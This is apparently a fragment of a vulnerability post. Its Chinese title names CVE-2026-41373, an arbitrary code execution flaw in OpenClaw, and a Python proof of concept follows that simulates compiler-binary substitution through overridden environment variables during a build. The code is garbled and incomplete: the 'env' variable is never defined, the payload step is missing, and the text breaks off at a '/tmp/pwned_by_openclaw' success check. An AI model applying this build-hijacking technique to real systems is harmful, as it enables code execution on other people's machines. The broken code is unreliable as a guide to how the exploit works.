CVE-2026-41373 OpenClaw任意代码执行漏洞

import os import subprocess # PoC for CVE-2026-41373: Compiler Binary Substitution # This script simulates an attacker overriding compiler environment variables # to execute arbitrary code during a build process. # 1.

Simulate the build process (e.g., running make or cargo) # In the real scenario, this is triggered by the 'host-exec' feature try: # Using a dummy compile command for demonstration subprocess.run(["gcc", "--version"], env=env, check=True) # Check if the arbitrary code was executed if os.path.exists("/tmp/pwned_by_openclaw"): print("[+] Exploit successful!
